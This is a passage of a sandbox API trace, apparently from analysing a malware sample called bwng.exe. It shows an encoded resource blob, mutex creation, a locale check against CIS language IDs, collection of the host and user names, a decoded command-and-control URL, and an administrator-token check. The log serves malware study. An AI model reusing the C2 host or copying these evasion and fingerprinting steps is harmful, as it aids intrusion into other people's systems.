24B0A5989C055C6B9A9B4C1FAD29ABC19C97A8D97CFCA63FD96AA8ECE7C79A97417FBCE41F6C6FEA45F5693E189F4C3E8BFC030EB956F561A48E99F706DBBE6842E5B3A0C0D3949F414293A2DBD221E6217C41A\r\nD59F511A\r\n9765F2CE2C038EA4\r\n88C75E77A9E81355A0CAAAD0\r\nAF\r\nE87C2C1832757B3F6EF0D3DCAAFFC83FD1C59FD2\r\n9F727C44856A38A0F446A97A1DCCFBE03F53C59D68C252EA0E\r\n18F9845B743597512AA79D6344F9D452BC96\r\n5900AFB2C7\r\n6335A7CB3F6EF3BB31DC4FA2A45342\r\n73\r\nEAF2\r\n9E\r\nA1A856A052D009854E72EA3A27F43BB77557B34CA1600658042076472EC9C24F07D84E5D12D7F97B0A9B8EAE5885CEC81EF7E412604793C3D23D138211542395833DBC8B25F5D1D110015C6AFE044378E2265482CE95DB5CA0851D912FEB121E7AA956B5069345363F378B0C0559C0E939BBC6C4890458EC0E9E2C256E4E1191CAB4E2EFDC7BC21E568888EDE1CF2DA587E139D3A0E9844BE7F52D2BF308E12BD09F55363CD7AFC92974CD0CBE512A1A081853DF57666CAE884D178F66C3BFB69C9B57985266AA5EAD59A7248D5A77878EC755C147A73C45FABC565FE6608573A90B7DC8\r\nD8559A7CFEDA1A546A2A12FFF7267DA3F9A2AA27E9EA6D62B73D04625EC3477099306478A2A707A1D1CE\r\nD7\r\n39\r\nA2160529D5FDAC7DB5E6789C25CE85594C413141FFBAF080FF27B9\r\n612417A71B10CC4E1B7A296FAE08ABF90DC7C59C040937C768A165705E53D6\r\n8862431ACF0D65550E6449CB39F97E9C97B8\r\n541B72F3C5E19815109868CA2530DF1DBAA85C26DDAF740A4D7C30C8C36F\r\nD67636611AC3FDDF3349A5D9F7\r\n60A3A32FC08F97F3CEBD1103A407\r\nCDEEC4C359D088DB0293C854C3\r\n1B3A80A169EF346826F31EFB5267512047329708D8F90A1AAD92FC176A2FD16DA64256DFC2309AD0468841A45EEC494BEE59F27EB7CDF98C3E68BDB6F3A6DFF9712A9E9282AC4D77D8A49910A4AA9AA7A6184526657939DC5CDB2466D6263B7B77122AB4489308B50CF4921E50DA6BF46EF45BC6C04AF3EAC08C750EC6BD6CE7DE4F\r\nA6DEAA7C3B0B0A3217FE25\r\n0E267DAD00265A3BD060F09E27B98B63252F6F234D\r\n6B93B0F9684AAFAF05CDBDBA\r\n") returned 5194 [0024.833] FreeResource (hResData=0x4f7718) returned 0 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<P\x18") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<L\x18") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<H\x18") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<D\x18") returned 1 [0024.834] GetTickCount () returned 0x1151dce [0024.834] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb9c | out: lpPerformanceCount=0x18fb9c*=16678595183) returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="z睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="N睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="9睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="C睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="R睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="D睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="E睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="j睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="R睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="5睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="x睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="C睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="k睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="7睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="m睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="L睘ﮘ\x18\x18\x18ọ眹t￾￿X眵ﴏ眴\x02") returned 1 [0024.834] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e62aec, cbMultiByte=9, lpWideCharStr=0x18eaf0, cchWideChar=2047 | out: lpWideCharStr="MutexBWNG\x18늠滎\x18륰@Ӥ") returned 9 [0024.834] OpenMutexW (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="MutexBWNG") returned 0x0 [0024.834] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexBWNG") returned 0xe4 [0024.834] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.834] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.835] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.835] FindResourceW (hModule=0x400000, lpName="LCWL", lpType=0xa) returned 0x4f5460 [0024.835] LoadResource (hModule=0x400000, hResInfo=0x4f5460) returned 0x526104 [0024.835] SizeofResource (hModule=0x400000, hResInfo=0x4f5460) returned 0x60 [0024.835] LockResource (hResData=0x526104) returned 0x526104 [0024.835] FreeResource (hResData=0x526104) returned 0 [0024.835] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0024.835] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0024.835] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0024.835] LockResource (hResData=0x5260dc) returned 0x5260dc [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x1e8e26c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0024.835] FreeResource (hResData=0x5260dc) returned 0 [0024.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0024.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb1c94, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0024.835] GetCurrentThreadId () returned 0x5b0 [0024.835] GetCurrentThreadId () returned 0x5b0 [0024.835] GetCurrentThreadId () returned 0x5b0 [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e614d8, cbMultiByte=96, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e614d8, cbMultiByte=96, lpWideCharStr=0x1e5b37c, cchWideChar=96 | out: lpWideCharStr="1049\r\n2072\r\n2073\r\n2115\r\n1091\r\n1058\r\n1090\r\n1092\r\n1064\r\n1059\r\n1067\r\n1079\r\n1087\r\n1088\r\n1062\r\n1063\r\n") returned 96 [0024.835] GetSystemDefaultLCID () returned 0x409 [0024.835] GetUserDefaultLCID () returned 0x409 [0024.836] GetSystemDefaultLangID () returned 0x700409 [0024.836] GetUserDefaultLangID () returned 0x409 [0024.836] GetSystemDefaultUILanguage () returned 0x409 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] GetCurrentThreadId () returned 0x5b0 [0024.839] GetCurrentThreadId () returned 0x5b0 [0024.839] GetCurrentThreadId () returned 0x5b0 [0024.839] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.839] ExpandEnvironmentStringsW (in: lpSrc="%COMPUTERNAME%", lpDst=0x1df481c, nSize=0x8000 | out: lpDst="XDUWTFONO") returned 0xa [0024.839] ExpandEnvironmentStringsW (in: lpSrc="%USERNAME%", lpDst=0x1df481c, nSize=0x8000 | out: lpDst="5p5NrGJn0jS HALPmcxz") returned 0x15 [0024.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e62a8c, cbMultiByte=12, lpWideCharStr=0x18eaec, cchWideChar=2047 | out: lpWideCharStr="BWNG_api_key늠滎\x18륰@Ӥ") returned 12 [0024.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=21, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="http://ghb.timerz.org") returned 21 [0024.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x1e8e1a4 | out: lpThreadId=0x1e8e1a4*=0xb50) returned 0xe8 [0024.840] SetThreadPriority (hThread=0xe8, nPriority=0) returned 1 [0024.840] ResumeThread (hThread=0xe8) returned 0x1 [0024.840] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff67, lpBuffer=0x18db38, cchBufferMax=4096 | out: lpBuffer="64-bit Edition") returned 0xe [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff65, lpBuffer=0x18db34, cchBufferMax=4096 | out: lpBuffer="%s Service Pack %4:d (Version %1:d.%2:d, Build %3:d, %5:s)") returned 0x3a [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff67, lpBuffer=0x18db38, cchBufferMax=4096 | out: lpBuffer="64-bit Edition") returned 0xe [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff65, lpBuffer=0x18db34, cchBufferMax=4096 | out: lpBuffer="%s Service Pack %4:d (Version %1:d.%2:d, Build %3:d, %5:s)") returned 0x3a [0024.840] GetCurrentThread () returned 0xfffffffe [0024.840] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x18fbc8 | out: TokenHandle=0x18fbc8*=0x0) returned 0 [0024.840] GetLastError () returned 0x3f0 [0024.840] GetCurrentProcess () returned 0xffffffff [0024.840] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbc8 | out: TokenHandle=0x18fbc8*=0xec) returned 1 [0024.840] GetTokenInformation (in: TokenHandle=0xec, TokenInformationClass=0x2, TokenInformation=0x1e5b370, TokenInformationLength=0x400, ReturnLength=0x18fbc4 | out: TokenInformation=0x1e5b370, ReturnLength=0x18fbc4) returned 1 [0024.840] CloseHandle (hObject=0xec) returned 1 [0024.840] AllocateAndInitializeSid (in: pIdentifierAuthority=0x4e7754, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbc0 | out: pSid=0x18fbc0*=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0024.840] EqualSid (pSid1=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1e5b3d4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0024.840] EqualSid (pSid1=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1e5b3f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0024.840] EqualSid (pSid1=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1e5b3fc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0024.841] GetCurrentProcess () returned 0xffffffff [0024.841] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbcc | out: TokenHandle=0x18fbcc*=0xec) returned 1 [0024.841] GetTokenInformation (in: TokenHandle=0xec, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbc8 | out: TokenInformation=0x0, ReturnLength=0x18fbc8) returned 0 [0024.841] GetLastError () returned 0x7a [0024.841] LocalAlloc (uFlags=0x0, uBytes=0x14) returned 0x70b178 [0024.841] GetTokenInformation (in: 